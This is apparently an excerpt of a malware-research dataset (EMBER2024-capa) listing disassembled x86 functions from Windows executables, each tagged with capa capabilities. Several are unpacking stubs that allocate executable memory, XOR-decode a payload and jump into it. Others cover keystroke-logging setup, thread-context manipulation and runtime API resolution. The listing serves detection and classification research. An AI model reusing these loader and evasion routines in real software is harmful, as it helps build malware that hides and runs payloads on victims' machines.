joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42b7f0
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
jmp 0x42b808
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1519a5
jge 0x42b851
mov dword [0x2bdf334], 0x8e46a6f0
cmp dword [0x2bdf6cc], 0x3dc
jne 0x42b84f
xor ecx, ecx
mov word [ebp - 8], cx
xor edx, edx
mov word [ebp - 6], dx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x42b7ff
mov dword [ebp - 0x10], 0
jmp 0x42b863
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x12cad2a
jge 0x42b8fe
cmp dword [0x2bdf6cc], 0xa5f
jne 0x42b884
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
cmp dword [ebp - 0x10], 0x84620b
jne 0x42b8a9
mov eax, dword [0x438bf0]
mov dword [0x2bdf6cc], eax
mov ecx, dword [0x2bdf6cc]
add ecx, 0xa231
mov dword [0x2bdf6cc], ecx
cmp dword [0x2bdf6cc], 0x141
jne 0x42b8f9
xor edx, edx
mov word [ebp - 0x24], dx
xor eax, eax
mov word [ebp - 0x22], ax
xor ecx, ecx
mov word [ebp - 0x20], cx
xor edx, edx
mov word [ebp - 0x1e], dx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
lea eax, [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
mov dword [0x43a1b8], 0xec58acac
mov dword [0x43a1bc], 0xffffffff
jmp 0x42b85a
call fcn.0042b5a0
jmp dword [0x2bdd24c]
Function at 0x4359a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x435a00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], 0
je 0x4359f7
mov edx, dword [0x48f990]
push edx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x4359eb
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4359d0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x4359f9
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x43b480
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xf8
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
add eax, dword [edx + 0x78]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + 0x20]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
add eax, dword [edx + 0x1c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x24], 0
jmp 0x43b4ec
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
cmp eax, dword [edx + 0x18]
jae 0x43b533
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0045f72a
add esp, 8
test eax, eax
jne 0x43b531
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x43b535
jmp 0x43b4e3
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x448410
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
mov eax, dword [0x483400]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.00443780
add esp, 4
movzx edx, al
test edx, edx
je 0x4484a1
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0x2cc
push 0
lea ecx, [ebp - 0x2d8]
push ecx
call fcn.00453b80
add esp, 0xc
mov dword [ebp - 0x2d8], 0x10001
lea edx, [ebp - 0x2d8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x44849f
mov edx, dword [ebp - 0x220]
cmp edx, dword [ebp + 0xc]
jne 0x44849f
jmp 0x4484a1
jmp 0x448423
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004542d5
mov esp, ebp
pop ebp
ret

Function at 0x44f11e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [edi + 0x2c]
push esi
mov esi, dword [edi + 0x3c]
sub esi, dword [edi + 0x74]
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x2c]
lea ecx, [ebx + ecx - 0x106]
sub esi, eax
cmp eax, ecx
jb 0x44f1a3
mov eax, dword [edi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.00453c00
mov eax, dword [edi + 0x4c]
mov ecx, dword [edi + 0x44]
sub dword [edi + 0x70], ebx
sub dword [edi + 0x6c], ebx
add esp, 0xc
sub dword [edi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x44f166
mov eax, dword [edi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x44f188
add esi, ebx
mov eax, dword [edi]
cmp dword [eax + 4], 0
je 0x44f1fe
mov ecx, dword [edi + 0x74]
add ecx, dword [edi + 0x6c]
push esi
add ecx, dword [edi + 0x38]
mov esi, eax
push ecx
call fcn.0044eeec
add dword [edi + 0x74], eax
mov esi, dword [edi + 0x74]
cmp esi, 3
pop ecx
pop ecx
jb 0x44f1ea
mov eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [edi + 0x58]
mov dword [edi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [edi + 0x54]
mov dword [edi + 0x48], eax
cmp esi, 0x106
jae 0x44f1fe
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x44f127
pop esi
pop ebx
leave
ret
Function at 0x4542d5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x483400]
jne 0x4542df
repz ret
jmp fcn.0045ac13

Function at 0x45b62d
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x4837f8]
je 0x45b648
inc edi
cmp edi, 0x17
jb 0x45b639
cmp edi, 0x17
jae 0x45b7c8
push ebp
push 3
call fcn.004620d4
cmp eax, 1
pop ecx
je 0x45b794
push 3
call fcn.004620d4
test eax, eax
pop ecx
jne 0x45b67c
cmp dword [0x483540], 1
je 0x45b794
cmp ebx, 0xfc
je 0x45b7c7
push 0x48a0ac
mov ebx, 0x314
push ebx
mov ebp, 0x490fd8
push ebp
call fcn.0045b3bc
add esp, 0xc
test eax, eax
je 0x45b6b2
push esi
push esi
push esi
push esi
push esi
call fcn.004564d1
add esp, 0x14
push 0x104
mov esi, 0x490ff1
push esi
push 0
mov byte [0x4910f5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x45b6f6
push 0x48a094
push 0x2fb
push esi
call fcn.0045b3bc
add esp, 0xc
test eax, eax
je 0x45b6f6
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.004564d1
add esp, 0x14
push esi
call fcn.00455fd0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x45b73b
push esi
call fcn.00455fd0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x4912ec
push 0x48a090
sub ecx, eax
push ecx
push eax
call fcn.00460bae
add esp, 0x14
test eax, eax
je 0x45b73b
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.004564d1
add esp, 0x14
jmp 0x45b73d
xor esi, esi
push 0x484ad8
push ebx
push ebp
call fcn.00460b3d
add esp, 0xc
test eax, eax
je 0x45b75d
push esi
push esi
push esi
push esi
push esi
call fcn.004564d1
add esp, 0x14
push dword [edi*8 + 0x4837fc]
push ebx
push ebp
call fcn.00460b3d
add esp, 0xc
test eax, eax
je 0x45b77f
push esi
push esi
push esi
push esi
push esi
call fcn.004564d1
add esp, 0x14
push 0x12010
push 0x48a068
push ebp
call fcn.00461f17
add esp, 0xc
jmp 0x45b7c7
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x45b7c7
cmp ebp, 0xffffffff
je 0x45b7c7
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x4837fc]
push dword [esi]
call fcn.00455fd0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x461f17
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0045adf1
xor ebx, ebx
cmp dword [0x491698], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x461fed
push 0x48b164
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x4620cd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x48b158
push edi
call esi
cmp eax, ebx
je 0x4620cd
push eax
call fcn.0045ad83
mov dword [esp], 0x48b148
push edi
mov dword [0x491698], eax
call esi
push eax
call fcn.0045ad83
mov dword [esp], 0x48b134
push edi
mov dword [0x49169c], eax
call esi
push eax
call fcn.0045ad83
mov dword [0x4916a0], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00456806
test eax, eax
pop ecx
pop ecx
je 0x461fbb
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004564d1
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x461fed
push 0x48b118
push edi
call esi
push eax
call fcn.0045ad83
cmp eax, ebx
pop ecx
mov dword [0x4916a8], eax
je 0x461fed
push 0x48b100
push edi
call esi
push eax
call fcn.0045ad83
pop ecx
mov dword [0x4916a4], eax
mov eax, dword [0x4916a4]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x462072
cmp dword [0x4916a8], ecx
je 0x462072
push eax
call fcn.0045adfa
push dword [0x4916a8]
mov esi, eax
call fcn.0045adfa
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x462072
cmp edi, ebx
je 0x462072
call esi
cmp eax, ebx
je 0x46203f
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x46203f
test byte [ebp - 0x18], 1
jne 0x462072
lea eax, [ebp - 0x10]
push eax
call fcn.0045683d
test eax, eax
pop ecx
je 0x46205a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.004564d1
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x462069
or dword [ebp + 0x10], 0x200000
jmp 0x4620ad
or dword [ebp + 0x10], 0x40000
jmp 0x4620ad
mov eax, dword [0x49169c]
cmp eax, dword [ebp - 8]
je 0x4620ad
push eax
call fcn.0045adfa
cmp eax, ebx
pop ecx
je 0x4620ad
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4620ad
mov eax, dword [0x4916a0]
cmp eax, dword [ebp - 8]
je 0x4620ad
push eax
call fcn.0045adfa
cmp eax, ebx
pop ecx
je 0x4620ad
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x491698]
call fcn.0045adfa
cmp eax, ebx
pop ecx
je 0x4620cd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4620cf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1002aaee
pop dword [ebp - 0x18]
mov eax, 0x4caf0cd9
sub eax, 0x3cac61eb
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x4ef3fcd3
sub dword [ebp - 0x28], 0xa1b788
mov dword [ebp - 0x24], 0x9f5cbc78
sub dword [ebp - 0x24], 0x6d297033
mov dword [ebp - 0x20], 0x52800b64
sub dword [ebp - 0x20], 0x633c736
mov dword [ebp - 0x1c], 0x6d6a221
add dword [ebp - 0x1c], 0xf9295ddf
lea eax, [ebp - 0x28]
push eax
mov eax, 0xcada0529
add eax, 0x4528bb0f
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xc59b13d5
sub dword [ebp - 0x28], 0x5128aa7f
mov dword [ebp - 0x24], 0xccf4ba91
add dword [ebp - 0x24], 0x7477a6e4
mov dword [ebp - 0x20], 0x39bf149
sub dword [ebp - 0x20], 0xa02c84dd
mov dword [ebp - 0x1c], 0xdb712c0e
sub dword [ebp - 0x1c], 0xdb712c0e
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xabd739ee
add eax, 0x642b863a
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x33d50
push 0
call eax
mov ecx, 0xc3cd1b4e
sub ecx, 0xc3ccddd9
xor ebx, ebx
add ebx, eax
mov edx, 0x10039600
add edx, dword [ebp - 0x18]
mov edi, 0x5c4054a4
sub edi, 0x1b40949e
xor dword [ebp - 4], ebx
mov esi, dword [edx]
xor dword [ebp - 0x10], esi
xor esi, edi
mov dword [ebx], esi
add dword [ebp - 0xc], 0x15054b39
add ebx, 0x90cff50
add ebx, 0xf6f300b4
add edx, 0xce2063ea
sub edx, 0xce2063e6
loop 0x1002ac0c
add eax, 0xe8a7
mov ebx, eax
add eax, 0x9a8d8538
add eax, 0x65727acd
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x100024be
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x100024cd
pop dword [ebp - 0x40]
mov eax, 0xf2d976b0
add eax, 0x1d26ae1d
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x7c406242
add dword [ebp - 0x50], 0xd211e309
mov dword [ebp - 0x4c], 0x46840d5
sub dword [ebp - 0x4c], 0xd234f490
mov dword [ebp - 0x48], 0xa45bf3e7
sub dword [ebp - 0x48], 0x580fafb9
mov dword [ebp - 0x44], 0xeed4e58b
add dword [ebp - 0x44], 0x112b1a75
lea eax, [ebp - 0x50]
push eax
mov eax, 0x5b963d72
add eax, 0xb46a52e6
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xc0d11849
sub dword [ebp - 0x50], 0x4c5eaef3
mov dword [ebp - 0x4c], 0x75217714
sub dword [ebp - 0x4c], 0x33b5159f
mov dword [ebp - 0x48], 0xabc62023
add dword [ebp - 0x48], 0xb7a94c49
mov dword [ebp - 0x44], 0xe350fd3c
add dword [ebp - 0x44], 0x1caf02c4
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x65d90e8b
sub eax, 0x55d87e8b
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x33c90
push 0
call eax
mov ecx, 0x3aa2
xor ebx, ebx
add ebx, eax
mov esi, 0x1000e800
add esi, dword [ebp - 0x40]
mov edx, 0x27bb6314
sub edx, 0xabe88113
add dword [ebp - 0x18], 0xd84f332f
mov edi, dword [esi]
xor dword [ebp - 0x30], 0xdc4d2ef1
sub edi, edx
add dword [ebp - 4], 0xdb431808
mov dword [ebx], edi
add ebx, 0x8794f33
add ebx, 0xf786b0d1
add esi, 0xe66424be
add esi, 0x199bdb46
loop 0x100025e5
add eax, 0xdd5b
xor ebx, ebx
add ebx, eax
add eax, 0xf803a7bb
add eax, 0x7fc584a
mov ecx, 0x9041c26b
sub ecx, 0x8041c26b
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x100082ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x100082b6
repz ret
jmp fcn.1000869f
Function at 0x4021b2
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 0x84, 0
sub ebp, 0x82
mov esi, eax
mov cl, byte [0x404050]
mov edx, eax
mov ebx, eax
shl edx, cl
mov eax, 0x404054
add edx, dword [0x404050]
call fcn.004020f3
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, esi
or al, 0x40
mov edi, 0x4039aa
push eax
sub edi, fcn.00403144
push edi
push fcn.00403144
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x402229
mov eax, fcn.00403144
mov ebx, esi
mov edx, edi
call fcn.004020f3
mov edx, 0x1c000
mov eax, 0x404054
mov ebx, esi
call fcn.00402d42
lea edx, [ebp - 2]
mov eax, esi
mov dword [ebp - 2], 0
call fcn.0040151f
lea eax, [esi + 0x1c000]
lea edi, [esi + 1]
imul edi, eax
mov ebx, 0x404054
or bl, 1
xor edx, edx
mov eax, esi
div ebx
lea ebx, [ebp - 2]
add eax, 0x404054
mov edx, edi
call fcn.00403144
lea esp, [ebp + 0x82]
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
mov ah, 0xd8
xor dword [edi], edi
in al, 0x81
test dword [eax + 0x29bc50e1], edi
and edx, dword [ebx]
aam 0x93
adc edx, esp
xchg ebx, eax
pop ss
mov ecx, 0xae1f3cae
test byte [ecx], dl
inc ebp
xchg edi, eax
sub al, byte [esi]
pop eax
push ecx
xor al, 0xbb
loope 0x414acd
rcr byte [ecx], 1
mov dword [0x81c96c51], eax
adc ah, dl
adc dword [ecx + 0x9062bae], esi
or ch, byte [ebx]
push es
push ds
jmp 0x51e1e4be
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x40bc43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40bc52
pop dword [ebp - 0x10]
mov eax, 0xc25ad9
sub eax, 0x819e87
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3c9d9
push 0
mov eax, 0xd6529b0a
sub eax, 0xd611ba32
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x5498
mov ebx, eax
mov edx, 0x413bc4
add edx, dword [ebp - 0x10]
mov edi, 0xa493472f
xor dword [ebp - 8], 0x822a5498
mov esi, dword [edx]
xor dword [ebp - 0xc], 0xd88d7e08
add esi, edi
xor dword [ebp - 8], 0x744914a2
mov dword [ebx], esi
xor dword [ebp - 4], ecx
add ebx, 0xb577a59c
add ebx, 0x4a885a68
add edx, 0x7e35b9da
sub edx, 0x7e35b9d6
loop 0x40bc9f
add eax, 0x14533
mov ebx, eax
add eax, 0x17634505
add eax, 0xe89cbb00
mov ecx, 0xaa83daf7
sub ecx, 0xaa43daf7
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x10059216
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10059255
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10059255
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10059255
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10059255
cmp dword [ecx + 0x74], 0xe
jbe 0x10059255
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1005a590
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1005a5bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1005a5bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1005a8e0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10064620
push 0x10064618
push str.FlsAlloc
push 0x1f
call fcn.1005abc3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1005a914
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x1005a91a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1005a95e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10064630
push 0x10064628
push str.FlsGetValue
push 0x21
call fcn.1005abc3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1005a995
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1005a99d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10064638
push 0x10064630
push str.FlsSetValue
push 0x22
call fcn.1005abc3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1005a9d7
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1005d89e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1005d93b
push ebx
push esi
call fcn.1005d93e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1005d7a2
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1005d8e8
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005d93a
push edi
push eax
call fcn.1005db9c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1005d908
call fcn.1005be90
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1005d939
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1005d7a2
add esp, 0x20
test eax, eax
jne 0x1005d927
push edi
call fcn.1005be90
jmp 0x1005d92f
push ebx
call fcn.1005be90
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x404f6e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40801c]
jne 0x404f78
repz ret
jmp fcn.004052f3
Function at 0x41169f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4116ae
pop dword [ebp - 8]
mov eax, 0x26912393
sub eax, 0x26500ce5
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3e57c
push 0
mov eax, 0x7d47e098
add eax, 0x82f9f17c
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x6a857ad7
sub ecx, 0x6a852ef5
mov ebx, eax
mov esi, 0x436000
add esi, dword [ebp - 8]
mov edx, 0x87a6dea8
sub edx, 0x6595f564
add dword [ebp - 4], 0x9ec21afd
mov edi, dword [esi]
xor dword [ebp - 4], 0x7e648f9e
sub edi, edx
add dword [ebp - 4], 0xf20d5925
mov dword [ebx], edi
mov dword [ebp - 4], 0x1b0f250c
add ebx, 0xe7fcf1d9
add ebx, 0x18030e2b
add esi, 4
loop 0x411707
add eax, 0x1225b
mov ebx, eax
add eax, 0xa59bf0b
add eax, 0xf5a640fa
mov ecx, 0x89ff050c
sub ecx, 0x89bf050c
add ecx, dword [ebp - 8]
call ebx
leave
ret